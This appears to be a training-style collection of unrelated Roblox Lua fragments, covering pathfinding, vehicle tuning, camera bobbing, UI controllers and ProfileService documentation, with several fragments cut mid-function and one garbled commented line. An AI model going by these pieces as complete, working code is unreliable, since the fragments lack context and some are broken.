this.CurrentPoint = nextWaypointIdx
-- Either callback here right away if next waypoint is already passed
-- Otherwise, ask the Humanoid to MoveTo
if nextWaypointAlreadyReached then
this:OnPointReached(true)
else
if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
this.Humanoid.Jump = true
end
this.Humanoid:MoveTo(nextWaypoint.Position)
end
end
else
if this.setPointFunc then
this.setPointFunc(nextWaypointIdx)
end
if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
this.Humanoid.Jump = true
end
this.Humanoid:MoveTo(nextWaypoint.Position)
this.CurrentPoint = nextWaypointIdx
end
end
else
this.PathFailed:Fire()
this:Cleanup()
end
end
function this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
-- Build next destination plane
-- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location))
-- (plane location is at next waypoint)
this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position
this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z)
if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then
this.CurrentWaypointPlaneNormal = this.CurrentWaypointPlaneNormal.Unit
this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position)
else
-- Next waypoint is the same as current waypoint so no plane
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
end
-- Should we jump
this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump;
-- Remember next waypoint position
this.CurrentWaypointPosition = nextWaypoint.Position
-- Move to next point
this.CurrentPoint = nextWaypointIdx
-- Finally reset Timeout
this.Timeout = 0
end
function this:Start(overrideShowPath)
if not this.AgentCanFollowPath then
this.PathFailed:Fire()
return
end
if this.Started then return end
this.Started = true
ClickToMoveDisplay.CancelFailureAnimation()
if ShowPath then
if overrideShowPath == nil or overrideShowPath then
this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint)
end
end
if #this.pointList > 0 then
-- Determine the humanoid offset from the path's first point
if FFlagUserClickToMoveFollowPathRefactor then
-- Offset of the first waypoint from the path's origin point
this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0)
else
-- Humanoid height above ground
this.HumanoidOffsetFromPath = Vector3.new(0, -(0.5 * this.Humanoid.RootPart.Size.y + this.Humanoid.HipHeight), 0)
end
-- As well as its current position and velocity
this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity
-- Connect to events
this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end)
this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end)
if not FFlagUserClickToMoveFollowPathRefactor then
this.MoveToConn = this.Humanoid.MoveToFinished:Connect(function(reached) this:OnPointReached(reached) end)
end
if FFlagUserClickToMoveFollowPathRefactor then
this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end)
end
-- Actually start
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:Fire()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
end
end
--We always raycast to the ground in the case that the user clicked a wall.
local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50)
local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList())
if newHitPart then
this.TargetPoint = newHitPos
end
this:ComputePath()
return this
end
|
-- Get join time
|
function Main:GetJoinTime()
return self.JoinTime
end
|
--[=[
@class StreamableUtil
@client
A utility library for the Streamable class.
```lua
local StreamableUtil = require(packages.Streamable).StreamableUtil
```
]=]
|
local StreamableUtil = {}
|
--------------------
--| Script Logic |--
--------------------
|
SwooshSound:Play()
Rocket.Touched:Connect(OnTouched)
|
--local PathLib = require(gamelocal HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList).ServerStorage.PathfindingLibrary).new()
|
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities)
local ZombieAI = {}
function updateDisplay(display, state)
local thread = coroutine.create(function()
while true do
wait()
if state then
display.Text = state.Name
end
end
end)
coroutine.resume(thread)
end
ZombieAI.new = function(model)
local zombie = {}
-- CONFIGURATION VARIABLES
|
-- Public Methods
|
function MaidClass:Mark(item)
local tof = typeof(item)
if (DESTRUCTORS[tof]) then
self.Trash[item] = tof
else
error(FORMAT_STR:format(tof), 2)
end
end
function MaidClass:Unmark(item)
if (item) then
self.Trash[item] = nil
else
self.Trash = {}
end
end
function MaidClass:Sweep()
for item, tof in next, self.Trash do
DESTRUCTORS[tof](item)
end
self.Trash = {}
end
|
-- This is a script you would create in ServerScriptService, for example.
|
local ServerScriptService = game:GetService("ServerScriptService")
local Cmdr = require(ServerScriptService.Cmdr)
Cmdr:RegisterDefaultCommands() -- This loads the default set of commands that Cmdr comes with. (Optional)
Cmdr:RegisterHooksIn(script.Hooks)
|
-- Compiled with roblox-ts v2.1.0
|
local PlayerState
do
local _inverse = {}
PlayerState = setmetatable({}, {
__index = _inverse,
})
PlayerState.Invincible = 0
_inverse[0] = "Invincible"
end
return {
PlayerState = PlayerState,
}
|
-- Compiled with roblox-ts v1.3.3
--[[
*
*
* @param obj object of concern.
* @param typeId new type. Restricted to keys of the variant.
* @param typeKey discriminant key.
]]
|
local function narrow(obj, typeId, typeKey)
local _exp = obj
local _condition = typeKey
if _condition == nil then
_condition = "type"
end
local typeString = _exp[_condition]
return if typeString == typeId then obj else nil
end
return {
narrow = narrow,
}
|
--mute button stuff
|
local canmute = settings.DisplayMuteButton
local clonegui
if canmute then
clonegui = script.MuteButtonGui:clone()
end
script.MuteButtonGui:Destroy()
local musicon = true
function SetButtonStyle(button)
button.Text = "Music: ".. (musicon and "ON" or "OFF")
button.Style = musicon and Enum.ButtonStyle.RobloxRoundDefaultButton or Enum.ButtonStyle.RobloxRoundDropdownButton
button.TextColor3 = musicon and Color3.new(1,1,1) or Color3.new(.2,.2,.23)
end
function CreateButton()
local gui = clonegui:clone()
local button = gui.Button
button.Visible = true
SetButtonStyle(button)
button.MouseButton1Click:connect(function()
musicon = not musicon
local bgm = script:FindFirstChild("BGM")
if bgm then
bgm.Volume = musicon and bgm.OriginalVolume.Value or 0
end
SetButtonStyle(button)
end)
gui.Parent = plr:WaitForChild("PlayerGui")
end
function CharInit()
char = plr.Character
torso = char:WaitForChild("Torso")
if canmute then CreateButton() end
end
if plr.Character and plr.Character.Parent ~= nil then
CharInit()
end
plr.CharacterAdded:connect(function()
CharInit()
end)
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 2.36 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 1.94 ,
--[[ 3 ]] 1.28 ,
--[[ 4 ]] .93 ,
--[[ 5 ]] 0.71 ,
--[[ 6 ]] 0.54 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--UserInputService.MouseIconEnabled = false
|
function lerp(a, b, c)
return a + (b - a) * c
end
bobbing = game:GetService("RunService").RenderStepped:Connect(function(deltaTime)
deltaTime = deltaTime * 30 -- Change Value, Higher Value = Bigger Movement
if Humanoid.Health <= 0 then
bobbing:Disconnect()
return
end
local rootMagnitude = Humanoid.RootPart and Vector3.new(Humanoid.RootPart.Velocity.X, 0, Humanoid.RootPart.Velocity.Z).Magnitude or 0
local calcRootMagnitude = math.min(rootMagnitude, 50)
if deltaTime > 3 then
func1 = 0
func2 = 0
else
func1 = lerp(func1, math.cos(tick() * 0.5 * math.random(10, 15)) * (math.random(5, 20) / 200) * deltaTime, 0.05 * deltaTime)
func2 = lerp(func2, math.cos(tick() * 0.5 * math.random(5, 10)) * (math.random(2, 10) / 200) * deltaTime, 0.05 * deltaTime)
end
Camera.CFrame = Camera.CFrame * (CFrame.fromEulerAnglesXYZ(0, 0, math.rad(func3)) * CFrame.fromEulerAnglesXYZ(math.rad(func4 * deltaTime), math.rad(val * deltaTime), val2) * CFrame.Angles(0, 0, math.rad(func4 * deltaTime * (calcRootMagnitude / 5))) * CFrame.fromEulerAnglesXYZ(math.rad(func1), math.rad(func2), math.rad(func2 * 10)))
val2 = math.clamp(lerp(val2, -Camera.CFrame:VectorToObjectSpace((Humanoid.RootPart and Humanoid.RootPart.Velocity or Vector3.new()) / math.max(Humanoid.WalkSpeed, 0.01)).X * 0.08, 0.1 * deltaTime), -0.35, 0.2)
func3 = lerp(func3, math.clamp(UserInputService:GetMouseDelta().X, -5, 5), 0.25 * deltaTime)
func4 = lerp(func4, math.sin(tick() * int) / 5 * math.min(1, int2 / 10), 0.25 * deltaTime)
if rootMagnitude > 1 then
val = lerp(val, math.cos(tick() * 0.5 * math.floor(int)) * (int / 200), 0.25 * deltaTime)
else
val = lerp(val, 0, 0.05 * deltaTime)
end
if rootMagnitude > 12 then
int = 15 -- 20
int2 = 11 -- 18
elseif rootMagnitude > 0.1 then
int = 4 -- 12 is Default. Higher = Faster Movement
int2 = 14 --14 default, experiment with this value
else
int2 = 0
end
Player.CameraMaxZoomDistance = 25
Player.CameraMinZoomDistance = 0.5
vect3 = lerp(vect3, Camera.CFrame.LookVector, 0.125 * deltaTime)
end)
|
-- Calculate the average linear velocity of the car based on the rate at which all wheels are spinning
|
local function getAverageVelocity()
local vFR = -motorFR.Attachment1.WorldAxis:Dot(motorFR.Attachment1.Parent.RotVelocity)
local vRR = -motorBR.Attachment1.WorldAxis:Dot(motorBR.Attachment1.Parent.RotVelocity)
local vFL = motorFL.Attachment1.WorldAxis:Dot(motorFL.Attachment1.Parent.RotVelocity)
local vRL = motorBL.Attachment1.WorldAxis:Dot(motorBL.Attachment1.Parent.RotVelocity)
return 0.25 * ( vFR + vFL + vRR + vRL )
end
|
--[[**
ensures Lua primitive boolean type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.boolean = t.typeof("boolean")
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween
AimZoom = 50; -- Default zoom
AimSpeed = 0.45;
UnaimSpeed = 0.35;
CycleAimZoom = 35; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
-- print("Keyframe : ".. frameName)
|
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
|
-- ROBLOX NOTE: no upstream: replaces node js writeable stream API
|
export type Writeable = {
isTTY: boolean?,
write: (self: Writeable, data: string) -> (),
}
local Writeable = {}
Writeable.__index = Writeable
function Writeable.new(options: { write: (data: string) -> () }): Writeable
local self = setmetatable({}, Writeable)
self._writeFn = if options ~= nil and typeof(options.write) == "function" then options.write else print
self.isTTY = false
return (self :: any) :: Writeable
end
function Writeable:write(data: string)
self._writeFn(data)
end
return {
Writeable = Writeable,
}
|
-- Loader
-- Stephen Leitnick
-- January 10, 2021
| |
--[[
[How fast the body rotates.]
[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]]
|
local UpdateSpeed = 1
local NeckOrgnC0 = Neck.C0 --[Get the base C0 to manipulate off of.]
local WaistOrgnC0 = (not IsR6 and Waist.C0) --[Get the base C0 to manipulate off of.]
|
--[[Weld functions]]
|
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
W.Parent = JS
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") then
MakeWeld(b,a,"Weld")
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 5.2 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.15 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.40 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.17 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 0.95 ,
--[[ 5 ]] 0.80 ,
--[[ 6 ]] 0.67
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[=[
Converts this arbitrary value into an observable suitable for use in properties.
@param value any
@return Observable?
]=]
|
function Blend.toPropertyObservable(value)
if Observable.isObservable(value) then
return value
elseif typeof(value) == "Instance" then
-- IntValue, ObjectValue, et cetera
if ValueBaseUtils.isValueBase(value) then
return RxValueBaseUtils.observeValue(value)
end
elseif type(value) == "table" then
if ValueObject.isValueObject(value) then
return ValueObjectUtils.observeValue(value)
elseif Promise.isPromise(value) then
return Rx.fromPromise(value)
end
end
return nil
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
return (not ClassInformationTable:GetClassFolder(player,"Paladin").Obtained.Value) or (not ClassInformationTable:GetClassFolder(player,"Paladin").JumpStrike1.Value)
end
|
-- PRIVATE METHODS
|
function IconController:_updateSelectionGroup(clearAll)
if IconController._navigationEnabled then
guiService:RemoveSelectionGroup("TopbarPlusIcons")
end
if clearAll then
guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled
guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled
IconController._navigationEnabled = nil
elseif IconController.controllerModeEnabled then
local icons = IconController.getIcons()
local iconContainers = {}
for i, otherIcon in pairs(icons) do
local featureName = otherIcon.joinedFeatureName
if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then
table.insert(iconContainers, otherIcon.instances.iconButton)
end
end
guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers))
if not IconController._navigationEnabled then
IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled
IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled
guiService.CoreGuiNavigationEnabled = false
guiService.GuiNavigationEnabled = true
IconController._navigationEnabled = true
end
end
end
local function getScaleMultiplier()
if guiService:IsTenFootInterface() then
return 3
else
return 1.3
end
end
function IconController._setControllerSelectedObject(object)
local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0
IconController._controllerSetCount = startId
guiService.SelectedObject = object
delay(0.1, function() -- blame the roblox guiservice its a piece of doo doo
local finalId = IconController._controllerSetCount
if startId == finalId then
guiService.SelectedObject = object
end
end)
end
function IconController._enableControllerMode(bool)
local indicator = TopbarPlusGui.Indicator
local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
if IconController.controllerModeEnabled == bool then
return
end
IconController.controllerModeEnabled = bool
if bool then
TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)
TopbarPlusGui.TopbarContainer.Visible = false
local scaleMultiplier = getScaleMultiplier()
indicator.Position = UDim2.new(0.5,0,0,5)
indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)
indicator.Image = "rbxassetid://5278151556"
indicator.Visible = checkTopbarEnabledAccountingForMimic()
indicator.Position = UDim2.new(0.5,0,0,5)
else
TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)
TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic()
indicator.Visible = false
IconController._setControllerSelectedObject(nil)
end
for icon, _ in pairs(topbarIcons) do
IconController._enableControllerModeForIcon(icon, bool)
end
end
function IconController._enableControllerModeForIcon(icon, bool)
local parentIcon = icon._parentIcon
local featureName = icon.joinedFeatureName
if parentIcon then
icon:leave()
end
if bool then
local scaleMultiplier = getScaleMultiplier()
local currentSizeDeselected = icon:get("iconSize", "deselected")
local currentSizeSelected = icon:get("iconSize", "selected")
local currentSizeHovering = icon:getHovering("iconSize")
icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode")
icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode")
if currentSizeHovering then
icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode")
end
icon:set("alignment", "mid", "deselected", "controllerMode")
icon:set("alignment", "mid", "selected", "controllerMode")
else
local states = {"deselected", "selected", "hovering"}
for _, iconState in pairs(states) do
local _, previousAlignment = icon:get("alignment", iconState, "controllerMode")
if previousAlignment then
icon:set("alignment", previousAlignment, iconState)
end
local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode")
if previousSize then
icon:set("iconSize", previousSize, iconState)
end
end
end
if parentIcon then
icon:join(parentIcon, featureName)
end
end
|
--[[
Constructs special keys for property tables which connect event listeners to
an instance.
]]
|
local parseError = require(script.Parent.Parent.Dependencies).utility.parseError
local function getProperty_unsafe(instance: Instance, property: string)
return (instance :: any)[property]
end
local function OnEvent(eventName: string)
local eventKey = {}
eventKey.type = "SpecialKey"
eventKey.kind = "OnEvent"
eventKey.stage = "observer"
function eventKey:apply(callback: any, applyTo: Instance, cleanupTasks: {})
local ok, event = pcall(getProperty_unsafe, applyTo, eventName)
if not ok or typeof(event) ~= "RBXScriptSignal" then
parseError("cannotConnectEvent", nil, applyTo.ClassName, eventName)
elseif typeof(callback) ~= "function" then
parseError("invalidEventHandler", nil, eventName)
else
table.insert(cleanupTasks, event:Connect(callback))
end
end
return eventKey
end
return OnEvent
|
--[=[
@param raycastParams RaycastParams
@param distance number?
@param overridePos Vector2?
@return result: RaycastResult?
Performs a raycast operation out from the mouse position (or the
`overridePos` if provided) into world space. The ray will go
`distance` studs forward (or 1000 studs if not provided).
Returns the `RaycastResult` if something was hit, else returns `nil`.
]=]
|
function Mouse:Raycast(raycastParams, distance, overridePos)
local viewportMouseRay = self:GetRay(overridePos)
local result = workspace:Raycast(viewportMouseRay.Origin, viewportMouseRay.Direction * (distance or RAY_DISTANCE), raycastParams)
return result
end
|
--[[
Calls destroy() on the object associated with the given key and removes it from
the registry
]]
|
function Registry:remove(key)
local object = self.objects[key]
if object then
object:destroy()
end
self.objects[key] = nil
end
|
-- local Madwork = _G.Madwork
--[[
{Madwork}
-[ProfileService]---------------------------------------
(STANDALONE VERSION)
DataStore profiles - universal session-locked savable table API
Official documentation:
https://madstudioroblox.github.io/ProfileService/
DevForum discussion:
https://devforum.roblox.com/t/ProfileService/667805
WARNINGS FOR "Profile.Data" VALUES:
! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error;
! Do not create mixed tables (some values indexed by number and others by string key), as only
the data indexed by number will be replicated.
! Do not index tables by anything other than numbers and strings.
! Do not reference Roblox Instances
! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing
! Do not reference functions
WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result
in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release()
the old Profile object.
Members:
ProfileService.ServiceLocked [bool]
ProfileService.IssueSignal [ScriptSignal] (error_message, profile_store_name, profile_key)
ProfileService.CorruptionSignal [ScriptSignal] (profile_store_name, profile_key)
ProfileService.CriticalStateSignal [ScriptSignal] (is_critical_state)
Functions:
ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]
profile_store_index [string] -- DataStore name
OR
profile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables
{
Name = "StoreName", -- [string] -- DataStore name
-- Optional arguments:
Scope = "StoreScope", -- [string] -- DataStore scope
}
profile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously
Members [ProfileStore]:
ProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore
Methods [ProfileStore]:
ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile / nil] not_released_handler(place_id, game_job_id)
ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates))
-- Returns GlobalUpdates object if update was successful, otherwise returns nil
ProfileStore:ViewProfileAsync(profile_key) --> [Profile / nil] -- Notice #1: Profile object methods will not be available;
Notice #2: Profile object members will be nil (Profile.Data = nil, Profile.MetaData = nil) if the profile hasn't
been created, with the exception of Profile.GlobalUpdates which could be empty or populated by
ProfileStore:GlobalUpdateProfileAsync()
ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the
DataStore / mock DataStore with no way to recover it.
* Parameter description for "ProfileStore:LoadProfileAsync()":
profile_key [string] -- DataStore key
not_released_handler = "ForceLoad" -- Force loads profile on first call
OR
not_released_handler = "Steal" -- Steals the profile ignoring it's session lock
OR
not_released_handler [function] (place_id, game_job_id) --> [string] ("Repeat" / "Cancel" / "ForceLoad")
-- "not_released_handler" will be triggered in cases where the profile is not released by a session. This
function may yield for as long as desirable and must return one of three string values:
["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again
["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil
["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards
and release the profile for another session that has loaded the profile
["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying
a session lock for this session.
* Parameter description for "ProfileStore:GlobalUpdateProfileAsync()":
profile_key [string] -- DataStore key
update_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods
(update_handler can't yield)
Members [Profile]:
Profile.Data [table] -- Writable table that gets saved automatically and once the profile is released
Profile.MetaData [table] (Read-only) -- Information about this profile
Profile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation
Profile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded
Profile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a
game session is currently having this profile loaded; nil if released
Profile.MetaData.MetaTags [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data
Profile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore
(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after
they pile up)
Profile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after
-- Profile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved;
-- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update;
-- .MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved
-- after release.
Profile.GlobalUpdates [GlobalUpdates]
Methods [Profile]:
-- SAFE METHODS - Will not error after profile expires:
Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to
Profile:GetMetaTag(tag_name) --> value
Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure
Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session
force-loads this profile - use :ListenToRelease() to handle player leaving cleanup.
Profile:Release() -- Call after the session has finished working with this profile
e.g., after the player leaves (Profile object will become expired) (Does not yield)
Profile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes;
-- Wrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places;
-- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens
-- next to an auto-update in regular usage scenarios.
Profile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug;
-- Example return: "[Store:"GameData";Scope:"Live";Key:"Player_2312310"]"
-- DANGEROUS METHODS - Will error if the profile is expired:
-- MetaTags - Save and read values stored in Profile.MetaData for storing info about the
profile itself like "Profile:SetMetaTag("FirstTimeLoad", true)"
Profile:SetMetaTag(tag_name, value)
Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)
Methods [GlobalUpdates]:
-- ALWAYS PUBLIC:
GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...}
GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...}
-- ONLY WHEN FROM "Profile.GlobalUpdates":
GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
-- WARNING: GlobalUpdates:LockUpdate() and GlobalUpdates:ClearLockedUpdate() will error after profile expires
GlobalUpdates:LockActiveUpdate(update_id)
GlobalUpdates:ClearLockedUpdate(update_id)
-- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL
GlobalUpdates:AddActiveUpdate(update_data)
GlobalUpdates:ChangeActiveUpdate(update_id, update_data)
GlobalUpdates:ClearActiveUpdate(update_id)
--]]
|
local SETTINGS = {
AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)
RobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key
ForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile
AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead
-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.
IssueCountForCriticalState = 5, -- Issues to collect to announce critical state
IssueLast = 120, -- Seconds
CriticalStateLast = 120, -- Seconds
MetaTagsUpdatedValues = { -- Technical stuff - do not alter
ProfileCreateTime = true,
SessionLoadCount = true,
ActiveSession = true,
ForceLoadSession = true,
LastUpdate = true,
}
}
local Madwork -- Standalone Madwork reference for portable version of ProfileService
do
local MadworkScriptSignal = {}
local ScriptConnection = {}
function ScriptConnection:Disconnect()
local listener = self._listener
if listener ~= nil then
local script_signal = self._script_signal
local fire_pointer_stack = script_signal._fire_pointer_stack
local listeners_next = script_signal._listeners_next
local listeners_back = script_signal._listeners_back
-- Check fire pointers:
for i = 1, script_signal._stack_count do
if fire_pointer_stack[i] == listener then
fire_pointer_stack[i] = listeners_next[listener]
end
end
-- Remove listener:
if script_signal._tail_listener == listener then
local new_tail = listeners_back[listener]
if new_tail ~= nil then
listeners_next[new_tail] = nil
listeners_back[listener] = nil
else
script_signal._head_listener = nil -- tail was also head
end
script_signal._tail_listener = new_tail
elseif script_signal._head_listener == listener then
-- If this listener is not the tail, assume another listener is the tail:
local new_head = listeners_next[listener]
listeners_back[new_head] = nil
listeners_next[listener] = nil
script_signal._head_listener = new_head
else
local next_listener = listeners_next[listener]
local back_listener = listeners_back[listener]
if next_listener ~= nil or back_listener ~= nil then -- Catch cases when duplicate listeners are disconnected
listeners_next[back_listener] = next_listener
listeners_back[next_listener] = back_listener
listeners_next[listener] = nil
listeners_back[listener] = nil
end
end
self._listener = nil
script_signal._listener_count -= 1
end
if self._disconnect_listener ~= nil then
self._disconnect_listener(self._disconnect_param)
self._disconnect_listener = nil
end
end
local ScriptSignal = {}
